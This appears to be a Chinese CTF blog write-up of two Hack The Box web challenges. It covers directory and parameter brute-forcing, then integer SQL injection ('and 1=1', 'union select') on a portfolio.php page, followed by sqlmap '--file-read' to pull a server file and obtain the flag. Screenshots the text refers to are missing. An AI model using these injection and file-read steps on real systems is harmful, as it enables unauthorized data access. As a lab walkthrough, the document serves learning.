hack the box注册方法:https://blog.csdn.net/Kevinhanser/article/details/84723103
First Blood:
直接上御剑跑目录:
扫描php:
访问获取到的路径:
此时就需要进行模糊测试参数名称了,上使用OWASP DirBuster 1.0:
得到结果参数名为reset,随便传一个reset=1:
继续爆破rest,最后得到reset=20:
Second Blood:
查看源码,发现:
访问:http://docker.hackthebox.eu:31649/portfolio.php?id=1
http://docker.hackthebox.eu:31649/portfolio.php?id=1and 1=1回显正常;
http://docker.hackthebox.eu:31649/portfolio.php?id=1and 1=2回显错误;(证明为整型sql注入)
http://docker.hackthebox.eu:31649/portfolio.php?id=1union select 1,2,3有回显位;
数据库名为freelancer,表名为safeadmin
username列:
爆破出password列:
使用 OWASP DirBuster 1.0:进行目录爆破,得到/administrat(输入之前爆出的账号密码错误!!)
这里尝试继续探测/administrat下的目录,发现还存在panel.php。尝试访问,发现是302跳转到index.php。
用sqlmap的file-read功能:--file-read=/var/www/html/administrat/panel.php
将文件成功下载:
查看文件,得到flag:
CTF是一个有趣的东西,希望每天都能进步一点点,持续更新ing!!!